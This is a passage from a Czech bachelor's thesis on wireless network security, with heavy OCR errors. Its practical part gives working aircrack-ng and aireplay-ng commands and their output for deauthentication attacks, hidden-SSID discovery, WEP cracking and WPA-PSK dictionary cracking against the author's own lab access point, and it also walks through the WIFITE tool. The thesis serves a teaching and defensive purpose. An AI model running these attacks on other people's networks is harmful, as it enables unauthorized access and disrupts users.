e VPN - Pro zabezpeceni domaéci sité je vyuziti VPN zbytecné slozitym feSenim. Ve
firemni siti je VPN vhodné pfedev§im pro zaméstnance pracujici z domova,
pfipojujici se do interni firemni sité prostfednictvim vetejné sité.

7.3 Verejna sit’

V piipad¢ vefejnych bezdratovych siti nejde ani tak o problém zabezpefeni piistupu
do bezdratové sité. VétSim problémem je jak zabezpelit pfipojované stanice tak, aby
nebylo mozné zneuzit osobni data uzivatele. Dilezitou véci je urCité nainstalovany
firewall. Pro zabezpeceni komunikace naptiklad do firemni sité je vhodné pouZzivat VPN.
Dalsi moznosti je vypnuti sdileni souborti. Doporucuje se nezadavat ¢isla kreditnich karet
nebo hesla k Gctim. Dale je vhodné odpojit se od bezdratové sité, pokud ji zrovna
nepozivate.
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8 Wifileaks

Jedna se o projekt komunitniho zaméfovani bezdratovych siti Wi-Fi. V Ceské republice
jsou stovky tisic, mozna i miliony, bezdratovych siti Wi-Fi standardu 802.11 bgn (2,4
GHz). Pojd’'me je zaméfit s pomoci jednoduché mobilni aplikace pro Android a vytvoime
kompletni mapu pokryti. Zjistime, jaké nejtypict&jsi zabezpeceni Wi-Fi pouzivame, kde je
podobnych siti nejvice, jak se zpravidla jmenuji. [20]

8.1 Nejcastéjsi zabezpeceni

V nasledujici tabulce jsou uvedeny nejcastéjsi typy zabezpeceni bezdratovych siti a jejich
cetnosti. VSechna data jsou uvedena z celkového poctu 678 592 dosud zamétfenych siti.

Tabulka 9 - Nejc¢astéjsi zabezpeceni [4]

bez Sifrovani 77 676%
WEP 203 008x
WPA-1 118 563x%
WPA-2 255 489x
Ostatni 23 856x

Nasledujici graf udava pomér mezi jednotlivymi typy zabezpeceni.

Procentuelni pomér pouzivanych zabezpeceni

W bez Sifrovani
B WEP

B WPA-1
mWPA-2

W ostatni

Obriazek 9 - Procentuelni pomér pouzivanych zabezpeceni
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8.2 Nejcastéjsi nazvy siti

V nasledujici tabulce jsou uvedeny nejCastéj$i nazvy bezdratovych siti a jejich Cetnosti.
Vsechna data jsou uvedena z celkového poctu 678 592 dosud zamétenych siti. V tabulce je
uvedeno celkem 120 880 zamétenych siti, jejichz nazev patii mezi nejvice pouZivané.
Zbytek tvoii sité s méné rozsitenimi ndzvy (napiiklad kiestni jména nebo piijmeni rodin).

Tabulka 10 - Nejcastéjsi nazvy siti (SSID) [4]

VOIP 53 386x%
Internet 21 684x
dlink 5 969x
doma 4 820x
default 4 744 x
ZyXEL 3131x
Airlive 2 608x%
Eduroam 2 601x
TP-LINK 2 448x
FreeWifi 2 291x
Tenda 2 171x
ASUS 2 114x
Linksys 2 069x%
NETGEAR 1 858x
Wifi 1 833x
MyWLAN 1 583x
T-Com 1575x%
Hpsetup 1 380x
home 1 320x%
SFR WiFi Public | 1 295x

Data z projektu Wifileaks byla aktualizovana: 22:23:05, 24. dubna 2012
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9 Prakticka ¢ast
9.1 Pouzity hardware
Zde popiSu hardware, ktery byl pouzit pro realizaci praktické ¢asti bakalarské prace.
Pristupovy bod
Jako bezdratovy ptistupovy bod byl pouzit D-Link DSL-2641B

Rozhrani: 1 x RJ-11 ADSL port, 4 x RJ-45 10/100BASE-TX
Standard: IEEE 802.11g

Frekvenéni pasmo: 2,4 GHz

Prenosova rychlost: az 54 Mbit/s

64/128bitové WEP Sifrovani dat

WPA/WPA2 zabezpeceni s TKIP, podpora AES

Uzivatelské PC
Jako uzivatelské PC byl pouzit Notebook HP ProBook 4525s.

e AMD Turion II P540 Dual-Core Processor 2,40 GHz
e 4.00GBRAM

Integrovana sitova karta Broadcom 4313 slouzila k pfipojovani k pfistupovému bodu.
Druhé sitova karta, miniaturni WiFi USB adaptér, byla pouzita v monitorovacim maédu
k zachytavani komunikace.

Mac adresa sitové karty - 00:1F:1F:C9:4F:8F
Mac adresa ptistupového bodu - 02:AF:F7:AF:FC:6D

Jako pfipojujici se klient byl téz vyuzivan mobilni telefon HTC Wildfire s MAC adresou
90:21:55:6D:FA:F2.

9.2 Pouzity software
Software, ktery byl pouZit pro realizaci praktické ¢asti bakalarské prace.

Jako operacni systém poslouzila dvojice Windows 7 Professional Service Pack 1
a virtualizovany systém BackTrack 5 R2. Vlastni utoky byly provedeny pomoci programu
Aircrack-ng. K analyze paketi poslouzil program Wireshark.

9.3 Odhaleni skrytého SSID

Bezdratova sit’ mize byt zabezpecena tak, ze je vypnuto vysilani SSID. Pokud neni SSID
vysilano, je nutné, aby uzivatel znal SSID sité pfi pfipojovani. Kdyz se chce pfipojit, posle
svoje SSID pomoci asociaéniho ramce v nesifrované podobé. Utoénikovi tak staci zachytit
tento ramec. Za pomoci programu Kismet dokaze ze zachyceného ramce zjistit SSID sit¢.
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Pii skenovéani okolnich bezdratovych siti pomoci aplikace airodump-ng odhalime ity
piistupové body, které nevysilaji své SSID. Zjistime pouze informace o délce SSID.

CH 8 ][ Elapsed: 2 mins ][ 2012-85-83 14:32

BSSID PWR Beacons #Data, #/s CH MBE ENC CIPHER AUTH ESSID

B2:AF:F7:AF:FC:6D -39 319 54  WPA2 CCMP PSK <length: 12>
00:02:72:98:CD:33 -39 3 6 54 WPA2 CCMP  PSK wifi

Obrazek 10 - Skryté SSID

U bezdratové sité, ktera vysild své SSID je vidét jeji nazev (wifi). U sité, ktera své SSID
nevysila je zobrazeno misto nazvu <lenght: 12>. To udava, Ze SSID sité je nazev o délce
dvanact znak.

Spustime nasledujici ptikaz:
aireplay-ng -0 5 -a 02:AF:F7:AF:FC:6D -c 90:21:55:6D:FA:F2 mon0

e -0 (--deauth) znamena deautentizacni utok

e 5 pocet zaslanych deautentizaci

e -a02:AF:F7:AF:FC:6D je MAC adresa ptistupového bodu

e -h90:21:55:6D:FA:F2 je MAC adresa klienta ptipojeného k siti
e mon0 je rozhrani bezdratové karty, ktera bude utocit

Na nésledujicim obrazku lze vidét, jak probihd deautentizace klienta od ptistupového bodu.

: # aireplay-ng -8 5 -a @2:AF:F7:AF:FC:6D :21:55:60D:FA:F2 mon@
Waiting for beacon frame (BSSID: ©2:AF:F7:AF:FC: channel 1
Sending 64 directed DeAuth. STMAC:

Sending 64 directed DeAuth. STMAC:

Sending 64 directed DeAuth. STMAC:
Sending 64 directed DeAuth. STMAC:

[

Sending 64 directed DeAuth. STMAC: :21:55:6D:FA:F2] [
' [

[

Obrazek 11 - Zasilani deautentizaci

Pokud vSe probéhlo jak ma, klient byl uspésné deautentizovan. Je nucen znovu se ptipojit
k siti. Pfi nasledné autentizaci klienta dojde k zachyceni procesu autentizace. Z této
zachycené autentizace pak aplikace airodump-ng dokaze zjistit SSID sité, protoze je
pfenaSeno v neSifrované podobé. To je poté zobrazeno ve sloupci ESSID. V mém ptipadé
se jednalo o sit’ s nazvem dlinkBlaster.
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CH 1 ][ Elapsed: 1 min ][ 2012-85-83 14:43

B55ID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ES5ID
02:AF:F7:AF:FC:6D -54 &89 783 37 1 1 54 WPA2 CCMP PSK dlinkBlaster

BSSID STATION PWR  Rate Lost Frames Probe

Obrazek 12 - SSID bylo odhaleno

Kismet

Kismet je nastroj pro vyhledavani a odposlouchavani bezdratovych siti. Dokéaze pracovat
s jakoukoliv kartou, kterda podporuje monitorovaci méd. Dokaze sledovat provoz 802.11b,
802.11a, 802.11g 1802.11n siti. Pro operacni syst¢ém Windows existuje alternativa
v podobé programu Netstumbler.

Pti vychozim nastaveni programu neni v prehledu bezdratovych siti zahrnuta polozka
udavajici silu signalu. Pokud o tom chceme mit ptehled, je nutné upravit konfiguracni
soubor kismet ui.conf. Polozku ,,What columns do we display?* doplnit o ,,signal®.

Pokud bezdratova sit vysila svoje SSID je normalné zachyceno. Na nasledujicim obrazku
miuZeme vidét, ze byla nalezena sit sniazvem wifi. Déle vidime, Ze se jedna
o zabezpecenou sit, na kterém kanalu vysila a pfenosovou rychlost.

: Detected new managed network "wifi", BSSID 00:82:72:98:CD:33,

encryption yes, channel 6, 54.80 mbit

Obrazek 13 - Zachyceni vysilaného SSID

Pokud bezdratova sit’ nevysila své SSID, je misto n¢j zobrazeno <Any>.

INFO: Detected new probe network "<Any=", BSSID 70:F3:95:B9:F5:07,

encryption no, channel @, 54.00 mbit

Obrazek 14 - Skryté SSID

Pii pokusu o pfipojeni uZivatele do bezdratové sité, ktera nevysild své SSID, dojde
k zachyceni asociacniho ramce. Z n¢j pak program Kismet dokaze ziskat SSID sité.

INFO: Detected new probe network "dlinkBlaster", BSSID 70:F3:95:B9:F5:07,
or

encryption no, channel @, 54.80 mbit
Obrazek 15 - Zachyceni skrytého SSID

9.4 WEP cracking

V této kapitole budou provedeny a popsany dva utoky na zabezpeceni WEP. Prvni z nich
se bude zamétfovat na prolomeni bezdratové sité zabezpecené pomoci 64 bitové varianty
WEP. Druhy ttok bude zaméfen na 128 bitovou variantu WEP.
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9.4.1 Utok na WEP64

Jako prvni byl zvolen utok na 64 bitovou variantu WEP. Tento zabezpecovaci algoritmus
vyuziva inicializa¢ni vektor o velikosti 24 bitl. Vice v kapitole 4.3 WEP. To nam zarucuje
maximalné¢ 2724 = 16777216 hodnot. Pfi bézném sitovém provozu dojde pomérné brzy
k vycerpani vS§ech moznych kombinaci a generované klice se tak zacnou opakovat.

Pred zacatkem provadéni utoku je tieba nastavit pfistupovy bod. Nastaveni je zachyceno
v nésledujici tabulce.

Tabulka 11 - Nastaveni AP p¥i utoku na WEP64

IP adresa AP 192.168.1.1
Maska 255.255.255.0
SSID sité testWEP64
Kanal 2.437 GHz-CH 6
Sifrovani WEP
Délka klice 64 bita

Vypis vsech sitovych rozhrani a zjisténi ndzvu bezdratové sitové karty:

iwconfig

Vytvoteni virtudlniho rozhrani mon0 s podporou monitorovaciho modu:
airmon-ng start wlan(

Po ispésném vytvoieni rozhrani mon0 je vypsano monitor mode enabled on mon0.
Pro skenovani okolnich siti pouzijeme piikaz:

airodump-ng mon(

Takto zapsany piikaz skenuje vSechny kandly, 1ze upravit pfepina¢em tak, aby skenoval
jen uzivatelem zvolené kanaly. Napiiklad nami zvoleny kanal Cislo 6 (2.437 GHz):

airodump-ng --channel 6 mon()

Ziskané informace o bezdratové siti:

CH 6 ][ Elapsed: 24 s ][ 2812-85-02 17:07

BSSID PWR RXQ Beacons #Data, #/s CH MBE ENC CIPHER AUTH ESSID

02:AF:F7:AF:FC:6D -55 84 219 20 8 6 54 WEP WEP testWEPB4

BSSID STATION PWR  Rate Lost Frames Probe

Obrazek 16 - Skenovani siti
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Dulezité je si zapamatovat:

e BSSID - MAC adresa pfistupového bodu
e CH - ¢islo kandlu sité.

Dalsi parametry jsou:

e PWR -sila signalu

e Beacons - pocet ptijatych beacon ramct

e #Data - pocet zachycenych datovych paketi

e #/s - poCet zachycenych datovych pakett za poslednich 10 sekund
e MB - maximalni podporovana rychlost pfistupového bodu

e ENC - pouzity Sifrovaci algoritmus

e CIPHER - detekovana Sifra

e AUTH - autentizaci metoda

e ESSID - nazev sité

Zachytavani a ukladani komunikace na konkrétnim piistupovém bodu a kandlu ¢islo 6,
na kterém tento AP vysila. Prepinac€ --ivs udava, ze budou zachytavany pouze inicializacni
vektory:

airodump-ng -w testWEPG64 -c 6 --bssid 02:AF:F7:AF:FC:6D --ivs mon()
Provedeni falesné autentifikace k pfistupovému bodu:
aireplay-ng -1 5000 -q 10 -a 02:AF:F7:AF:FC:6D -h 00:1F:1F:C9:4F:8F mon(
Pokud je pokus tspésny, vypise se:
Waiting for beacon frame (BSSID: 82:AF:F7:AF:FC:6D) on channel 6
Sending Authentication Request (Open System)
Authentication successful

Sending Association Request
Association successful :-) (AID: 1)

Sending keep-alive packet
Sending keep-alive packet”C

Obrazek 17 - FaleSna autentifikace

Generovani ARP dotazl pro zachytavani vice paketl a rychlejsi nalezeni klice:
aireplay-ng -3 -b 02:AF:F7:AF:FC:6D -h 00:1F:1F:C9:4F:8F mon(
Prolomeni hesla po ziskani dostatecného mnozZstvi paketi:

aircrack-ng testWEP64.ivs
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Aircrack-ng 1.1°F20d&

Obrazek 18 - Prolomeni WEP64 Kklice

9.4.2 Utok na WEP128

Jako druhy byl realizovan utok na 128 bitovou variantu WEP. Rozdil oproti WEP64 je
v délce klice. WEP64 vyuziva na Sifrovanou ¢ast 40 bitd, WEP128 pak 104 bitt. Velikost
inicializa¢niho vektoru je pro obé& varianty 24 bith. JelikoZ postup je stejny jako
u piedchozi varianty, rozhodl jsem se pro malou zménu. Utok bude realizovan pomoci
slovnikového utoku.

Testovani hesel zahajime ptikazem:
aircrack-ng -w mujSlovnik.lst testWEP128.cap

kde piepina¢ -w udava cestu k souboru obsahujici slovnik a nasleduje ndzev souboru,
ve kterém je zachycena komunikace.
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KEY FOUND!' [ 61: 161: 6 3 61:61 ] (ASCII: a

Obrazek 19 - Prolomeni WEP128 klice

9.5 WPA cracking

V této kapitole se budu vénovat prolomeni bezdratové sité zabezpeCené pomovi WPA
v rezimu PSK. Pfi zvoleném slovnikovém typu utoku je velice diilezité zvolit spravny
slovnik. Jedna se o seznam, Citajici spoustu bézné pouzivanych hesel. Vice o slovnikovém
utoku v kapitole 5.6 Dictionary attack.

Pred zacatkem provadéni utoku je tieba nastavit pfistupovy bod. Nastaveni je zachyceno
v nasledujici tabulce.

Tabulka 12 - Nastaveni AP p¥i titoku na WPA

IP adresa AP 192.168.1.1
Maska 255.255.255.0
SSID sité testWPA
Kanal 2.437 GHz-CH 6
Sifrovani WPA
Rezim PSK
Tajny kli¢ computer

Ptistupové heslo bylo zvoleno tak, aby bylo obsazeno ve mnou zvoleném slovniku. Pouzil
jsem slovnik, ktery je k naleznuti v nasledujicim odkazu jako zabaleny soubor all.gz
o velikosti 11,5 MB:

ftp://ftp.openwall.com/pub/wordlists/
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O tom, Ze je heslo obsazeno ve slovniku, jsem se piesvédcil otevienim souboru v nékterém
z textovych editort. Ja jsem pouZil jednoduchy terminalovy editor Nano.

GNU nano 2.2.2 File: all.lst

Obriazek 20 - Cast slovniku all.lst

Podstata utoku spoc¢iva v zachyceni procesu autentizace, ktery je popsan v teoretické casti.
To lze provést dvéma zplisoby:

e Pasivné - tocnik zachytavd komunikaci v siti a vyckdva na pfipojeni nového
klienta. Ten musi byt nejprve autentizovan.

e Aktivné - utocnik monitoruje sit’. Zjistuje, ze k pristupovému bodu je pfipojen
jeden ¢i vice klientl. Toho lze vyuzit tak, Ze zasila deautentiza¢ni rdmce a vynuti si
tak u pfipojenych klienti novou autentizaci.

Samotné zachytavani je spusténo piikazem:
airodump-ng --bssid 02:AF:F7:AF:FC:6D -w testWPA --channel 6 mon(

Tentokrat vSak bez pfepinace --ivs, protoze potfebuje zachytavat celé pakety a ne jenom
inicializa¢ni vektory.

Deautentizace pfipojen¢ho klienta se provadi pomoci aplikace aireplay-ng zadanim
ptikazu:

aireplay -0 5 -a 02:AF:F7:AF:FC:6D -c 90:21:55:6D:FA:F2 mon0
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kde -0 udava typ tutoku deauth, ¢islo 5 znamena pocet deautentizacnich paketi, ptepinac -a
uptesituje MAC adresu piistupového bodu a piepinac -c MAC adresu cilové stanice. Mon0Q
na konci ptikazu udava rozhrani, kterym se bude utocit.

K ziskani samotného hesla ze zachycené komunikace slouzi aplikace aircrack-ng.
Testovani hesel zahajime prikazem:

aircrack-ng -w all.lst testWPA.cap

kde pfepina¢ -w udava cestu k souboru obsahujici slovnik a nasleduje nazev souboru,
ve kterém je zachycena komunikace (4-Way Handshake).

Pii neuspésném utoku se vypise hlaska ,,Passphrase not in dictionary®, které oznamuje, Ze
heslo neni ve slovniku obsaZeno. Je tedy nutné zvolit kvalitnéjsi, obsahlejsi slovnik.

Na nésledujicim obrazku Ize vidét vystup aplikace pii uspéSném dokonceni utoku.

KEY FOUND!

Obrazek 21 - Prolomeni WPA Kkli¢e

Nas nejvice zajima fadek obsahujici KEY FOUND! [ computer ], kde je v hranatych
zavorkach uvedeno ptistupové heslo.

Shrnuti

Jak jiz bylo zminéno v teoretické casti v kapitole 5.3 PSK Cracking je bezpecnost
bezdratové sité zabezpecené pomoci WPA v reZimu PSK zaloZena na jednom sdileném
hesle. Toto heslo by proto mélo byt zvoleno dostatecné silné, aby dokazalo odolat prave
vySe realizovanému utoku slovnikového typu. Vice o tom jak zvolit kvalitni heslo je
mozné najit v kapitole 6.2 Problematika hesel.

9.6 Nastroj WIFITE

Jednim z pouzivanych nastroji pro ziskani piihlaSovacich 0daji do bezdratové sité je
WIFITE. Ten je napsany v jazyce Python. Pro chod aplikace je nutné pracovat v nékteré
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z distribuci Linuxu. Idedlnim systémem je BackTrack, kde jsou jiz vSechny potitebné
soucasti nainstalovany.

Pokud je pouzita n¢kterd jina distribuce, je nutné nainstalovat:

e macchanger,
* python,

* pyrit,

e aircrack-ng.

WIFITE je mozné spoustét jak v textovém tak v grafickém rezimu. Pokud aplikace
nenalezne Zadnou bezdratovou sitovou kartu, vypiSe chybovou hlasku (the program is
unable to continue and will now exit) a dojde k jejimu ukonceni. Na nasledujicim obrazku
je zachycena ivodni obrazovka grafického rezimu.

interface: ] |

encryption type:  'WEP and WPA — |

channel: v all channels

]
[ select targets from list

50
T PO e N

v everyone

dictionary: |!pe ntest/passwords/wordlis

wep timeout (min): IW [ endless
wpa timeout (min):| 5 I endless

wep options: v arp-replay [v chop-chop
v fragmentation [+ -p 0841
v change mac [ Ignore fake-auth

packets/sec: 500

[ anonymize all attacks

h4x0r 1t n40

Obrazek 22 - WIFITE - grafické rozhrani
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Vyznam jednotlivych polozek v hlavnim oknu aplikace:

e Interface - volba sitového rozhrani, které bude prostfednictvim aplikace WiFite
utocit (napiiklad wlanO0).

e Encryption type - mtizeme zvolit jednu z nasledujicich moznosti:

o WEDP - pii skenovéani siti v dosahu se budou zobrazovat pouze ty, které¢ jsou
zabezpecené pomoci WEP.

o WPA - analogicky k prvni moZznosti se zobrazuji pouze sité zabezpecené
pomoci WPA.

o WEP and WPA - zahrnuje obé ptfedchozi moznosti.

e Channel - volba kandlu v rozsahu od 1 do 14. zasktrtnutim moznosti "all channels"
budou skenovany vSechny kanaly.

e Minimum power - minimalni Groven sily signalu. Vybér hodnoty v rozmezi od 1
do 100. Zaskrtnutim moznosti "everyone" budou zahrnuty vSechny hodnoty.
Zaskrtnutim moznosti "select targets from list" dostava uzivatel moznost vybrat si
ze seznamu naskenovanych siti tu, kterou bude on sdm pozadovat.

¢ Dictionary - pouziva se pfi slovnikovém utoku na zabezpeceni WPA. Je to cesta
k souboru obsahujici slovnik, ze kterého budou zkousena hesla.

e WEP/WPA timeout - hodnota v minutach udava cas, po ktery se bude program
pokouset zachytdvat. Zaskrtnutim moZnosti "endless" se ¢as nastavi na nekonecno.

e Wep options - zaskrtnutim jednotlivych moZnosti volime, které metody utoku
budou pouzity na prolomeni zabezpeceni WEP.

e packets/sec - hodnota od 100 do 1500 udava cetnost paketa, které budou zasilany.

e anonymize all attacks - touto volbou zajistime anonymitu vSech provadénych
utokd.

e h4xOr 1t n40 - kliknutim na velké Cervené tlacitko zahajime utok s pozadovanym
nastavenim.
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10 Zaveér

Bakalatska prace predstavila v teoretické Casti oblast bezdratovych siti, ktera je v dneSni
dobé vzhledem k masivnimu rozsifeni téchto zafizeni podporujicich bezdratové
technologie Wi-Fi pomérné Sirokd. Je predstavovana a vyuZivdna mnoZzstvim bé&zné
pouzivanymi zafizenimi jako jsou chytré mobilni telefony, tablety nebo notebooky.
Zaroven roste 1 popularita bezdratovych siti a jsou hojn¢ vyuzivany jak ve firemnim, tak
v domdacim prostredi.

Ve vyse uvedenych kapitolach byly popsany jednotlivé standardy IEEE 802.11, metody
bezdratového prenosu dat, zabezpeCovaci mechanismy, typy Utokl a zdsady zabezpeceni
bezdratovych siti.

V praktické casti bakalarské prace jsem si ovéfil znalosti ziskané b&hem vypracovavani
teoretick¢ casti. Provedl apopsal jsem jednotlivé utoky, které vyuzivaji znamych
bezpecnostnich mezer jednotlivych zabezpecovacich mechanismii. Pii realizaci praktické
casti jsem si overil jak nevhodné je pouziti zabezpeCeni WEP. Toto zabezpeceni vyuziva
statického kli¢e a slabé autentiazace. Prolomeni takto zabezpecené sité neni obzvlasté
slozitym tUkolem. Postac¢i pouze zachytit dostatecné mnozstvi inicializacnich vektort.
Ptestoze je pouziti WEP mnohem lepSi nez naprosto nezabezpecena sit, doporucuji
pouzivat minimalné WPA vrezimu PSK. Kdy je ovSem bezpecnost sité zaloZena
na jednom sdileném hesle. Toto heslo je tfeba zvolit dostatecné silné, aby bylo imunni vici
utoku slovnikového typu. Tomu jak spravné zvolit heslo jsem vénoval jednu z kapitol.
Dalsi soucasti prace je feknéme stru¢ny navod jak ovlivnit miru zabezpefeni domaéci
1 firemni site.

Tato prace by tak méla byt vhodna jak pro bézného uzivatele, tak pro spravce sité. Ti by
zde méli najit odliSny pohled, pohled potenciondlniho uto¢nika, na zabezpeceni. Prace
poukazuje na mezery v zabezpeceni, kterych uto¢nik zneuziva. Cilem by tak mélo byt
poucit Ctenafe v oblasti zabezpecCeni bezdratovych siti a doporucit vhodna bezpecnostni
opatieni tak, aby dokazal predchazet moznym utokiim na jim spravovanou bezdratovou
sit’.
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